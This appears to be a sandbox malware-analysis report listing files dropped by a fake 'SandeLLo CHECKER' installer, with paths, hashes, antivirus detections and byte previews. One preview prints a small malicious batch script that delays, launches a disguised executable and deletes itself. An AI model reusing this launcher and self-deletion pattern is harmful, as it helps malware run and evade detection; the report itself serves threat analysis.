File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.0536606896881855
Encrypted:	false
SSDEEP:	3:X+EEy+X:Odn
MD5:	81FA203DC73EFBDB4CE97F240349F9C6
SHA1:	D7F82D77CD282504483C33DE4B4CA276FCF2DFB6
SHA-256:	3F620ED5E52BDFE1388805786CF28CAF97A1509CFDDC9B088E0762CFF189855E
SHA-512:	A04B75CA8ACFFAF7ADA51A80E7EB290911F6D4CC06A02873D317288D985A0CC3F2E2C18C44A8B75A05D42DADF59758C0CE0CB270972C16A9D004B66E8B6822A3
Malicious:	false
Preview:	5VurYdYlrKKnxEbBViqZlWuNr

C:\Users\user\AppData\Local\Temp\aL4EyWwIy8

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\asqorgoQB6

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fj6oAMbNf0

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\shi436E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5038592
Entropy (8bit):	6.043058205786219
Encrypted:	false
SSDEEP:	49152:vVkDvLSkqdbEsuV+ebMh8w+/H8pF/bmlEyGjWvcP1xQ+X7TqVAMPLfQyim8kznsY:2Ll+Mn0WHl9VA2ic/
MD5:	11F7419009AF2874C4B0E4505D185D79
SHA1:	451D8D0470CEDB268619BA1E7AE78ADAE0EBA692
SHA-256:	AC24CCE72F82C3EBBE9E7E9B80004163B9EED54D30467ECE6157EE4061BEAC95
SHA-512:	1EABBBFDF579A93BBB055B973AA3321FC8DC8DA1A36FDE2BA9A4D58E5751DC106A4A1BBC4AD1F425C082702D6FBB821AA1078BC5ADC6B2AD1B5CE12A68058805
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......e.D!...!...!...(.V.C...5..."...5...&...5...)...!......5...:...5... ...5...R...5.:. ...5... ...Rich!...................PE..d...p............." .........D...............................................`M.....'.M...`A........................................@.H.L&....I......@K.H.....I..............@M.....`J:.p.......................(....%..............@.......$.H......................text...4B.......D.................. ..`.wpp_sf.....`.......H.............. ..`.rdata...L......N.................@..@.data...hD...PI......*I.............@....pdata........I......2I.............@..@.didat.......0K.......J.............@....rsrc...H....@K.......J.............@..@.reloc.......@M.. ....L.............@..B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uMu0Nxwczl.bat

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	250
Entropy (8bit):	5.238787771219104
Encrypted:	false
SSDEEP:	6:hCijTg3Nou1SV+DEi4/eWU/ZGvKOZG1wkn23fuK:HTg9uYDEi4/eD/oDfmK
MD5:	C3263AA17EB043CD892AE8BA5306CAE8
SHA1:	B4D29EF13337A3CD6EFB750838648955FC04DA6C
SHA-256:	9092CE341A143E404E65E8187F6A71894CFDA6DA12926B4D32F63DF1AB3A38CD
SHA-512:	B9B68D3E1E98D2DBB71C2A7E32E45B3C9E334FCC7FD8D1285705177A9F74B77AD4F71A4510F9F7787206ED4D515631F60B23CA8482D54492EF427108FD90786F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\uMu0Nxwczl.bat"

C:\Users\user\AppData\Local\Temp\yxcSNKiGi6

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\{F123046A-2CBF-4743-A59B-E3D2751B5780}\51B5780\SandeLLoCHECKER_Installer.msi

Download File

Process:	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1251, Revision Number: {FAF1FEAC-2FC7-4585-9A19-0ECE4CC93372}, Number of Words: 0, Subject: SandeLLo CHECKER, Author: LIMITED LIABILITY COMPANY "SANDELLO", Name of Creating Application: SandeLLo CHECKER, Template: ;1049, Comments: CS CheckCheat, Title: Installation Database, Keywords: Installer, MSI, Database, Create Time/Date: Mon Apr 1 17:11:28 2024, Number of Pages: 200
Category:	dropped
Size (bytes):	4085760
Entropy (8bit):	6.581204593384424
Encrypted:	false
SSDEEP:	49152:WQ5+qotJCxKoibHCNbH4d5+u+Tx5KzEKrbsUT1wZK2Pfth1Yz5nsWIGvjlIlyX9H:otFHCNbHXjf1Y5GCaSqgEgv
MD5:	E47C6582751CDC22D8C0EEAC60DE6D0B
SHA1:	4C057D98754B09C95FCAE46162673D1B241CCEA4
SHA-256:	C645A247C399AE2E8CCF8F826415E7287B52080FCAE3DAC203E7E543FE792CCB
SHA-512:	2E2DC24E4CC1314F17506C0007F1E5C1200AF1A2B14820968E7A1019C29B60913701BEB5498A6C13E7CEF938E98EFA464B1CAE2F5A8CC59C493CAEBFD158DA5B
Malicious:	false
Preview:	......................>...................?...................................^.......v.......W................................................................................... ...\|...}...~..............................._...`...a...b...c...d...e...f...g...h...i...j...)......+...,...-......./...0...1...2...3.......................................................................................................................................................................................................................................-...;....................................................................................... ...!..."...#...$...%...&...'...(...)......+...,...<...:.../...0...1...2...3...4...5...6...7...8...9.......D...W...=...>...?...@...A...B...C...G...E...F...T...H...I...J...K...L...M...N...O...P...Q...R...S...]...U...V.......X...Y...Z...[...\...............`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\Desktop\AOGsABiv.log

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	89600
Entropy (8bit):	5.905167202474779
Encrypted:	false
SSDEEP:	1536:mspaoWV6yRfXRFHJh/fLiSI82VawF1YBJcqe:1paoWMy5XXnfXf2YSYBJcqe
MD5:	06442F43E1001D860C8A19A752F19085
SHA1:	9FBDC199E56BC7371292AA1A25CF4F8A6F49BB6D
SHA-256:	6FB2FAAC08F55BDF18F3FCEE44C383B877F416B97085DBEE4746300723F3304F
SHA-512:	3592162D6D7F0B298C2D277942F9C7E86A29078A4D7B73903183C97DACABC87E0523F0EF992F2BD7350AA8AE9D49910B3CE199BC4103F7DC268BF319293CD577
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 16%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g.........." .....V...........t... ........@.. ....................................@.................................pt..K.......l............................................................................ ............... ..H............text....T... ...V.................. ..`.rsrc...l............X..............@..@.reloc...............\..............@..B.................t......H.......H...(q..........P.........................................................................n$..Fr.....fQ...M.:..'k.m.(G.c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW....

C:\Users\user\Desktop\BXyiPEuJ.log

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.699005826018714
Encrypted:	false
SSDEEP:	768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
MD5:	87765D141228784AE91334BAE25AD743
SHA1:	442BA48B1B5BB158E2E6145B0592F81D20CB9C57
SHA-256:	9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
SHA-512:	77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ClgJzaDG.log

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	5.6808219961645605
Encrypted:	false
SSDEEP:	768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
MD5:	6CD78D07F9BD4FECC55CDB392BC5EC89
SHA1:	094DE32070BED60A811D983740509054AD017CE4
SHA-256:	16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
SHA-512:	5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\GKQhrBJx.log

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	5.857602289000348
Encrypted:	false
SSDEEP:	768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
MD5:	5EE7E079F998F80293B3467CE6A5B4AE
SHA1:	3C0932D48F3542E9DFB09AD9E1FF70891A038532
SHA-256:	A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
SHA-512:	056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........\|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\JrPikvxc.log

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\LMwQZDoR.log

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	6.010605469502259
Encrypted:	false
SSDEEP:	6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
MD5:	00574FB20124EAFD40DC945EC86CA59C
SHA1:	8B96C4B6F450E711085AE7B22517C195222ACFDF
SHA-256:	3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
SHA-512:	B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\user\Desktop\MAAYLQkP.log

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	5.636032516496583
Encrypted:	false
SSDEEP:	384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
MD5:	996BD447A16F0A20F238A611484AFE86
SHA1:	CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
SHA-256:	0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
SHA-512:	80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\OWmHElNj.log

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.629584586954759
Encrypted:	false
SSDEEP:	768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
MD5:	D478E398EFCD2BD9BDBFEA958F7BEE4F
SHA1:	24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
SHA-256:	32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
SHA-512:	0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\OfhhMrNQ.log

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.699005826018714
Encrypted:	false
SSDEEP:	768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
MD5:	87765D141228784AE91334BAE25AD743
SHA1:	442BA48B1B5BB158E2E6145B0592F81D20CB9C57
SHA-256:	9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
SHA-512:	77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\SEFybwug.log

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.723168999026349
Encrypted:	false
SSDEEP:	768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
MD5:	2E116FC64103D0F0CF47890FD571561E
SHA1:	3EF08A9B057D1876C24FC76E937CDA461FAC6071
SHA-256:	25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
SHA-512:	39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\SFtfhzmX.log

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	6.010605469502259
Encrypted:	false
SSDEEP:	6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
MD5:	00574FB20124EAFD40DC945EC86CA59C
SHA1:	8B96C4B6F450E711085AE7B22517C195222ACFDF
SHA-256:	3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
SHA-512:	B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\user\Desktop\UplOiJFY.log

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.679286635687991
Encrypted:	false
SSDEEP:	768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
MD5:	9E910782CA3E88B3F87826609A21A54E
SHA1:	8DBC333244620EDA5D3F1C9EAA6B924455262303
SHA-256:	3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
SHA-512:	592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\UvPgJftz.log

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.909536568846014
Encrypted:	false
SSDEEP:	1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
MD5:	E4FA63649F1DBD23DE91861BB39C317D
SHA1:	25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
SHA-256:	CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
SHA-512:	C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\XaQepXPR.log

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	89600
Entropy (8bit):	5.905167202474779
Encrypted:	false
SSDEEP:	1536:mspaoWV6yRfXRFHJh/fLiSI82VawF1YBJcqe:1paoWMy5XXnfXf2YSYBJcqe
MD5:	06442F43E1001D860C8A19A752F19085
SHA1:	9FBDC199E56BC7371292AA1A25CF4F8A6F49BB6D
SHA-256:	6FB2FAAC08F55BDF18F3FCEE44C383B877F416B97085DBEE4746300723F3304F
SHA-512:	3592162D6D7F0B298C2D277942F9C7E86A29078A4D7B73903183C97DACABC87E0523F0EF992F2BD7350AA8AE9D49910B3CE199BC4103F7DC268BF319293CD577
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 16%
